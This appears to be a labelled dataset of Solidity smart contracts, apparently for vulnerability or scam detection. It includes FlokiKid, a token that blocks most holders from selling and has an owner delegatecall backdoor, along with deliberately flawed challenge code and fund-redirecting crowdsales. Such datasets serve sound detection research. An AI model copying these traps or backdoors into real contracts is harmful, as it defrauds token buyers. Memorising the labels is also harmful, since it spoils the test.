pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } interface IERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } contract ElementiumVesting { using SafeMath for uint256; struct StagedLockingPlan { address beneficiary; uint256 managedAmount; uint256 start; uint256 stages; uint256 durationPerStage; uint256 releaseRatio; uint256 currentyStage; uint256 released; } uint256 private _milestone1 = 1540425600; uint256 private _milestone2 = 1571961600; uint256 private _durationMonth = 2592000; uint256 private _durationYear = 31536000; IERC20 private _token; uint256 private _numPlans; mapping (uint256 => StagedLockingPlan) private _plans; constructor(IERC20 token) public { _token = token; _addLockingPlan( address(0xcCDAb5791D3d11209f5bEEE58003Aa4EAb3E9b63), 150000000000000000, _milestone2, 1, _durationYear, 0); _addLockingPlan( address(0x8D4Db0c0cB4b937523eBcfd86A8038eb0475166A), 250000000000000000, _milestone1, 4, _durationMonth, 0); _addLockingPlan( address(0xCFc030Fb11d88772a58BFE30a296C6c215A912Bb), 400000000000000000, _milestone1, 20, _durationYear, 4); } function _addLockingPlan ( address beneficiary, uint256 managedAmount, uint256 start, uint256 stages, uint256 durationPerStage, uint256 releaseRatio ) private { require(beneficiary != address(0)); require(managedAmount > 0); require(stages > 0); _plans[_numPlans] = StagedLockingPlan({ beneficiary: beneficiary, managedAmount: managedAmount, start: start, stages: stages, durationPerStage: durationPerStage, releaseRatio: releaseRatio, currentyStage: 0, released: 0 }); _numPlans = _numPlans.add(1); } function _releasableAmount(uint256 i, uint256 nextStage) private view returns (uint256) { uint256 cliff = _plans[i].released; if(nextStage < _plans[i].stages) { if(_plans[i].releaseRatio == 0) { uint256 amountPerStage = _plans[i].managedAmount.div(_plans[i].stages); cliff = nextStage.mul(amountPerStage); } else { cliff = 0; for(uint j = 0; j < nextStage; j++) { uint256 remained = _plans[i].managedAmount.sub(cliff); cliff = cliff.add(remained.div(_plans[i].releaseRatio)); } } } else { cliff = _plans[i].managedAmount; } return cliff.sub(_plans[i].released); } function release(uint256 iPlan) public { require(iPlan >= 0 && iPlan < _numPlans); require(_plans[iPlan].currentyStage < _plans[iPlan].stages); uint256 duration = block.timestamp.sub(_plans[iPlan].start); uint256 nextStage = duration.div(_plans[iPlan].durationPerStage); nextStage = nextStage.add(1); if(nextStage > _plans[iPlan].stages) { nextStage = _plans[iPlan].stages; } uint256 unreleased = _releasableAmount(iPlan, nextStage); require(unreleased > 0); _plans[iPlan].currentyStage = nextStage; _plans[iPlan].released = _plans[iPlan].released.add(unreleased); _token.transfer(_plans[iPlan].beneficiary, unreleased); } function token() public view returns (address) { return address(_token); } function balance() public view returns (uint256) { return _token.balanceOf(address(this)); } function locked() public view returns (uint256 total, uint256 plan1, uint256 plan2, uint256 plan3) { plan1 = _plans[0].managedAmount.sub(_plans[0].released); plan2 = _plans[1].managedAmount.sub(_plans[1].released); plan3 = _plans[2].managedAmount.sub(_plans[2].released); total = plan1.add(plan2.add(plan3)); } function released() public view returns (uint256 total, uint256 plan1, uint256 plan2, uint256 plan3) { plan1 = _plans[0].released; plan2 = _plans[1].released; plan3 = _plans[2].released; total = plan1.add(plan2.add(plan3)); } function currentyStage() public view returns (uint256 plan1, uint256 plan2, uint256 plan3) { plan1 = _plans[0].currentyStage; plan2 = _plans[1].currentyStage; plan3 = _plans[2].currentyStage; } }
1
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pragma solidity ^0.4.13; contract DaoToken { uint256 public CAP; uint256 public totalEthers; function proxyPayment(address participant) payable; function transfer(address _to, uint _amount) returns (bool success); } contract ZiberToken { mapping (address => uint256) public balances; mapping (address => bool) public checked_in; uint256 public bounty; bool public bought_tokens; uint256 public time_bought; bool public kill_switch; string public name; string public symbol; uint8 public decimals; uint256 ZBR_per_eth = 17440; uint256 ZBR_total_reserve = 100000000; uint256 ZBR_dev_reserved = 10000000; uint256 ZBR_for_selling = 80000000; uint256 ZBR_for_bounty= 10000000; uint256 ETH_to_end = 50000 ether; uint registredTo; uint256 loadedRefund; uint256 _supply; string _name; string _symbol; uint8 _decimals; DaoToken public token = DaoToken(0xa9d585CE3B227d69985c3F7A866fE7d0e510da50); address developer_address = 0x00119E4b6fC1D931f63FFB26B3EaBE2C4E779533; mapping (address => uint256) public balanceOf; event Transfer(address indexed from, address indexed to, uint256 value); function ZiberToken() { _supply = 10000000000; balanceOf[msg.sender] = _supply; name = "ZIBER CW Tokens"; symbol = "ZBR"; decimals = 2; } function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } function loadRefund() payable { if(msg.value == 0) throw; loadedRefund = safeAdd(loadedRefund, msg.value); } function refund() private { uint256 weiValue = this.balance; if (weiValue == 0) throw; uint256 weiRefunded; weiRefunded = safeAdd(weiRefunded, weiValue); refund(); if (!msg.sender.send(weiValue)) throw; } function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function activate_kill_switch() { if (msg.sender != developer_address) throw; kill_switch = true; } function withdraw(){ if (!bought_tokens) { uint256 eth_amount = balances[msg.sender]; balances[msg.sender] = 0; msg.sender.transfer(eth_amount); } else { uint256 ZBR_amount = balances[msg.sender] * ZBR_per_eth; balances[msg.sender] = 0; uint256 fee = 0; if (!checked_in[msg.sender]) { fee = ZBR_amount / 100; if(!token.transfer(developer_address, fee)) throw; } if(!token.transfer(msg.sender, ZBR_amount - fee)) throw; } } function add_to_bounty() payable { if (msg.sender != developer_address) throw; if (kill_switch) throw; if (bought_tokens) throw; bounty += msg.value; } function claim_bounty(){ if (bought_tokens) return; if (kill_switch) throw; bought_tokens = true; time_bought = now + 1 days; token.proxyPayment.value(this.balance - bounty)(address(this)); if(this.balance > ETH_to_end) { msg.sender.transfer(bounty); } else { time_bought = now + 1 days * 9; if(this.balance > ETH_to_end) { msg.sender.transfer(bounty); } } } modifier onlyOwner() { if (msg.sender != developer_address) { throw; } _; } function withdrawEth() onlyOwner { msg.sender.transfer(this.balance); } function kill() onlyOwner { selfdestruct(developer_address); } function default_helper() payable { if (now < 1500400350 ) throw; else { if (msg.value <= 1 finney) { if (bought_tokens) { if (token.totalEthers() >= token.CAP()) throw; checked_in[msg.sender] = true; } else { withdraw(); } } else { if (kill_switch) throw; if (bought_tokens) throw; balances[msg.sender] += msg.value; } } } function () payable { default_helper(); } }
1
4,029
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract FlokiKid { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,306
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() public{ owner = msg.sender; } modifier onlyOwner() { require(owner==msg.sender); _; } function transferOwnership(address newOwner) public onlyOwner { owner = newOwner; } } contract ERC20 { function totalSupply() public constant returns (uint256); function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); function allowance(address owner, address spender) public constant returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BetleyToken is Ownable, ERC20 { using SafeMath for uint256; string public name = "BetleyToken"; string public symbol = "BETS"; uint256 public decimals = 18; uint256 public _totalSupply = 1000000000e18; uint256 public _mainsaleSupply = 350000000e18; uint256 public _presaleSupply = 650000000e18; uint256 public _saleSupply = 390000000e18; uint256 public _teamSupply = 65000000e18; uint256 public _advisorsSupply = 55250000e18; uint256 public _platformSupply = 130000000e18; uint256 public _bountySupply = 9750000e18; address private _teamAddress = 0x5cFDe81cF1ACa91Ff8b7fEa63cFBF81B713BBf00; address private _advisorsAddress = 0xC9F2DE0826235767c95254E1887e607d9Af7aA81; address private _platformAddress = 0x572eE1910DD287FCbB109320098B7EcC33CB7e51; address private _bountyAddress = 0xb496FB1F0660CccA92D1B4B199eDcC4Eb8992bfA; uint256 public isDistributionTransferred = 0; mapping (address => uint256) balances; mapping (address => mapping(address => uint256)) allowed; uint256 public preSaleStartTime; uint256 public mainSaleStartTime; address public multisig; address public sec_addr; uint256 public price; uint256 public minContribAmount = 0.1 ether; uint256 public maxContribAmount = 100 ether; uint256 public hardCap = 30000 ether; uint256 public softCap = 1200 ether; uint256 public presaleTotalNumberTokenSold=0; uint256 public mainsaleTotalNumberTokenSold=0; bool public tradable = false; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); modifier canTradable() { require(tradable || ((now < mainSaleStartTime + 30 days) && (now > preSaleStartTime))); _; } function BetleyToken() public{ multisig = 0x7BAD2a7C2c2E83f0a6E9Afbd3cC0029391F3B013; balances[multisig] = _totalSupply; preSaleStartTime = 1527811200; mainSaleStartTime = 1533081600; owner = msg.sender; sendTeamSupplyToken(_teamAddress); sendAdvisorsSupplyToken(_advisorsAddress); sendPlatformSupplyToken(_platformAddress); sendBountySupplyToken(_bountyAddress); isDistributionTransferred = 1; } function () external payable { tokensale(msg.sender); } function tokensale(address recipient) public payable { require(recipient != 0x0); require(msg.value >= minContribAmount && msg.value <= maxContribAmount); price = getPrice(); uint256 weiAmount = msg.value; uint256 tokenToSend = weiAmount.mul(price); require(tokenToSend > 0); if ((now > preSaleStartTime) && (now < preSaleStartTime + 60 days)) { require(_presaleSupply >= tokenToSend); } else if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 30 days)) { require(_mainsaleSupply >= tokenToSend); } balances[multisig] = balances[multisig].sub(tokenToSend); balances[recipient] = balances[recipient].add(tokenToSend); if ((now > preSaleStartTime) && (now < preSaleStartTime + 60 days)) { presaleTotalNumberTokenSold = presaleTotalNumberTokenSold.add(tokenToSend); _presaleSupply = _presaleSupply.sub(tokenToSend); } else if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 30 days)) { mainsaleTotalNumberTokenSold = mainsaleTotalNumberTokenSold.add(tokenToSend); _mainsaleSupply = _mainsaleSupply.sub(tokenToSend); } address tar_addr = multisig; if (presaleTotalNumberTokenSold + mainsaleTotalNumberTokenSold > 10000000) { tar_addr = sec_addr; } tar_addr.transfer(msg.value); TokenPurchase(msg.sender, recipient, weiAmount, tokenToSend); } function setSecurityWalletAddr(address addr) public onlyOwner { sec_addr = addr; } function sendTeamSupplyToken(address to) public onlyOwner { require ((to != 0x0) && (isDistributionTransferred == 0)); balances[multisig] = balances[multisig].sub(_teamSupply); balances[to] = balances[to].add(_teamSupply); Transfer(multisig, to, _teamSupply); } function sendAdvisorsSupplyToken(address to) public onlyOwner { require ((to != 0x0) && (isDistributionTransferred == 0)); balances[multisig] = balances[multisig].sub(_advisorsSupply); balances[to] = balances[to].add(_advisorsSupply); Transfer(multisig, to, _advisorsSupply); } function sendPlatformSupplyToken(address to) public onlyOwner { require ((to != 0x0) && (isDistributionTransferred == 0)); balances[multisig] = balances[multisig].sub(_platformSupply); balances[to] = balances[to].add(_platformSupply); Transfer(multisig, to, _platformSupply); } function sendBountySupplyToken(address to) public onlyOwner { require ((to != 0x0) && (isDistributionTransferred == 0)); balances[multisig] = balances[multisig].sub(_bountySupply); balances[to] = balances[to].add(_bountySupply); Transfer(multisig, to, _bountySupply); } function startTradable(bool _tradable) public onlyOwner { tradable = _tradable; } function totalSupply() public constant returns (uint256) { return _totalSupply; } function presaleTotalNumberTokenSold() public view returns (uint256) { return presaleTotalNumberTokenSold; } function balanceOf(address who) public constant returns (uint256) { return balances[who]; } function transfer(address to, uint256 value) public canTradable returns (bool success) { require ( balances[msg.sender] >= value && value > 0 ); balances[msg.sender] = balances[msg.sender].sub(value); balances[to] = balances[to].add(value); Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint256 value) public canTradable returns (bool success) { require ( allowed[from][msg.sender] >= value && balances[from] >= value && value > 0 ); balances[from] = balances[from].sub(value); balances[to] = balances[to].add(value); allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool success) { require ( balances[msg.sender] >= value && value > 0 ); allowed[msg.sender][spender] = value; Approval(msg.sender, spender, value); return true; } function allowance(address _owner, address spender) public constant returns (uint256) { return allowed[_owner][spender]; } function getPrice() public view returns (uint256 result) { if ((now > preSaleStartTime) && (now < preSaleStartTime + 60 days) && (presaleTotalNumberTokenSold < _saleSupply)) { if ((now > preSaleStartTime) && (now < preSaleStartTime + 14 days)) { return 15000; } else if ((now >= preSaleStartTime + 14 days) && (now < preSaleStartTime + 28 days)) { return 13000; } else if ((now >= preSaleStartTime + 28 days) && (now < preSaleStartTime + 42 days)) { return 11000; } else if ((now >= preSaleStartTime + 42 days)) { return 10500; } } else if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 30 days) && (mainsaleTotalNumberTokenSold < _mainsaleSupply)) { if ((now > mainSaleStartTime) && (now < mainSaleStartTime + 30 days)) { return 10000; } } else { return 0; } } }
0
2,237
pragma solidity ^0.4.23; contract Auction { string public description; string public instructions; uint public price; bool public initialPrice = true; uint public timestampEnd; address public beneficiary; bool public finalized = false; address public owner; address public winner; mapping(address => uint) public bids; address[] public accountsList; uint public increaseTimeIfBidBeforeEnd = 24 * 60 * 60; uint public increaseTimeBy = 24 * 60 * 60; event Bid(address indexed winner, uint indexed price, uint indexed timestamp); event Refund(address indexed sender, uint indexed amount, uint indexed timestamp); modifier onlyOwner { require(owner == msg.sender, "only owner"); _; } modifier onlyWinner { require(winner == msg.sender, "only winner"); _; } modifier ended { require(now > timestampEnd, "not ended yet"); _; } function setDescription(string _description) public onlyOwner() { description = _description; } function setInstructions(string _instructions) public ended() onlyWinner() { instructions = _instructions; } constructor(uint _price, string _description, uint _timestampEnd, address _beneficiary) public { require(_timestampEnd > now, "end of the auction must be in the future"); owner = msg.sender; price = _price; description = _description; timestampEnd = _timestampEnd; beneficiary = _beneficiary; } function() public payable { if (msg.value == 0) { refund(); return; } require(now < timestampEnd, "auction has ended"); if (bids[msg.sender] > 0) { bids[msg.sender] += msg.value; } else { bids[msg.sender] = msg.value; accountsList.push(msg.sender); } if (initialPrice) { require(bids[msg.sender] >= price, "bid too low, minimum is the initial price"); } else { require(bids[msg.sender] >= (price * 5 / 4), "bid too low, minimum 25% increment"); } if (now > timestampEnd - increaseTimeIfBidBeforeEnd) { timestampEnd = now + increaseTimeBy; } initialPrice = false; price = bids[msg.sender]; winner = msg.sender; emit Bid(winner, price, now); } function finalize() public ended() onlyOwner() { require(finalized == false, "can withdraw only once"); require(initialPrice == false, "can withdraw only if there were bids"); finalized = true; beneficiary.transfer(price); } function refundContributors() public ended() onlyOwner() { bids[winner] = 0; for (uint i = 0; i < accountsList.length; i++) { if (bids[accountsList[i]] > 0) { uint refundValue = bids[accountsList[i]]; bids[accountsList[i]] = 0; accountsList[i].transfer(refundValue); } } } function refund() public { require(msg.sender != winner, "winner cannot refund"); require(bids[msg.sender] > 0, "refunds only allowed if you sent something"); uint refundValue = bids[msg.sender]; bids[msg.sender] = 0; msg.sender.transfer(refundValue); emit Refund(msg.sender, refundValue, now); } }
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pragma solidity ^0.4.23; contract DrainMe { address public winner = 0x0; address public owner; address public firstTarget = 0x461ec7309F187dd4650EE6b4D25D93c922d7D56b; address public secondTarget = 0x1C3E062c77f09fC61550703bDd1D59842C22c766; address[] public players; mapping(address=>bool) approvedPlayers; uint256 public secret; uint256[] public seed = [951828771,158769871220]; uint256[] public balance; function DranMe() public payable{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWinner() { require(msg.sender == winner); _; } modifier onlyPlayers() { require(approvedPlayers[msg.sender]); _; } function getLength() public constant returns(uint256) { return seed.length; } function setSecret(uint256 _secret) public payable onlyOwner{ secret = _secret; } function getPlayerCount() public constant returns(uint256) { return players.length; } function getPrize() public constant returns(uint256) { return address(this).balance; } function becomePlayer() public payable{ require(msg.value >= 0.02 ether); players.push(msg.sender); approvedPlayers[msg.sender]=true; } function manipulateSecret() public payable onlyPlayers{ require (msg.value >= 0.01 ether); if(msg.sender!=owner || unlockSecret()){ uint256 amount = 0; msg.sender.transfer(amount); } } function unlockSecret() private returns(bool){ bytes32 hash = keccak256(blockhash(block.number-1)); uint256 secret = uint256(hash); if(secret%5==0){ winner = msg.sender; return true; } else{ return false; } } function callFirstTarget () public payable onlyPlayers { require (msg.value >= 0.005 ether); firstTarget.call.value(msg.value)(); } function callSecondTarget () public payable onlyPlayers { require (msg.value >= 0.005 ether); secondTarget.call.value(msg.value)(); } function setSeed (uint256 _index, uint256 _value) public payable onlyPlayers { seed[_index] = _value; } function addSeed (uint256 _add) public payable onlyPlayers { seed.length = _add; } function guessSeed (uint256 _seed) public payable onlyPlayers returns(uint256) { return (_seed / (seed[0]*seed[1])); if((_seed / (seed[0]*seed[1])) == secret) { owner = winner; } } function checkSecret () public payable onlyPlayers returns(bool) { require(msg.value >= 0.01 ether); if(msg.value == secret){ return true; } } function winPrize() public payable onlyOwner { owner.call.value(1 wei)(); } function claimPrize() public payable onlyWinner { winner.transfer(address(this).balance); } function() public payable{ } }
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pragma solidity ^0.4.25; contract SafeMath { function safeSub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function safeSub(int a, int b) internal pure returns (int) { if (b < 0) assert(a - b > a); else assert(a - b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } function safeMul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } } contract Token { function transfer(address receiver, uint amount) public returns (bool) { (receiver); (amount); return false; } function balanceOf(address holder) public view returns (uint) { (holder); return 0; } function approve(address _spender, uint256 _value) public returns (bool) { (_spender); (_value); return false; } } contract Casino { function deposit(address _receiver, uint _amount, bool _chargeGas) public; } contract Owned { address public owner; address public receiver; mapping (address => bool) public moderator; modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerator { require(moderator[msg.sender]); _; } modifier onlyAdmin { require(moderator[msg.sender] || msg.sender == owner); _; } constructor() internal { owner = msg.sender; receiver = msg.sender; } function setOwner(address _address) public onlyOwner { owner = _address; } function setReceiver(address _address) public onlyAdmin { receiver = _address; } function addModerator(address _address) public onlyOwner { moderator[_address] = true; } function removeModerator(address _address) public onlyOwner { moderator[_address] = false; } } contract RequiringAuthorization is Owned { mapping(address => bool) public authorized; modifier onlyAuthorized { require(authorized[msg.sender]); _; } constructor() internal { authorized[msg.sender] = true; } function authorize(address _address) public onlyAdmin { authorized[_address] = true; } function deauthorize(address _address) public onlyAdmin { authorized[_address] = false; } } contract Pausable is Owned { bool public paused = false; event Paused(bool _paused); modifier onlyPaused { require(paused == true); _; } modifier onlyActive { require(paused == false); _; } function pause() public onlyActive onlyAdmin { paused = true; } function activate() public onlyPaused onlyOwner { paused = false; } } contract BankWallet is Pausable, RequiringAuthorization, SafeMath { address public edgelessToken; address public edgelessCasino; uint public maxFundAmount = 0.22 ether; event Withdrawal(address _token, uint _amount); event Deposit(address _receiver, uint _amount); event Fund(address _receiver, uint _amount); constructor(address _token, address _casino) public { edgelessToken = _token; edgelessCasino = _casino; owner = msg.sender; } function () public payable {} function withdraw(address _token, uint _amount) public onlyAdmin returns (bool _success) { _success = false; if (_token == address (0)) { uint weiAmount = _amount; if (weiAmount > address(this).balance) { return false; } _success = receiver.send(weiAmount); } else { Token __token = Token(_token); uint amount = _amount; if (amount > __token.balanceOf(this)) { return false; } _success = __token.transfer(receiver, amount); } if (_success) { emit Withdrawal(_token, _amount); } } function approve(uint _amount) public onlyAuthorized { _approveForCasino(edgelessCasino, _amount); } function deposit(address _address, uint _amount, bool _chargeGas) public onlyActive onlyAuthorized { Casino __casino = Casino(edgelessCasino); __casino.deposit(_address, _amount, _chargeGas); emit Deposit(_address, _amount); } function fund(address _address, uint _amount) public onlyActive onlyAuthorized returns (bool _success) { require(_amount <= maxFundAmount); _success = _address.send(_amount); if (_success) { emit Fund(_address, _amount); } } function setCasinoContract(address _casino) public onlyAdmin { edgelessCasino = _casino; _approveForCasino(_casino, 1000000000); } function setMaxFundAmount(uint _amount) public onlyAdmin { maxFundAmount = _amount; } function _approveForCasino(address _address, uint _amount) internal returns (bool _success) { Token __token = Token(edgelessToken); _success = __token.approve(_address, _amount); } }
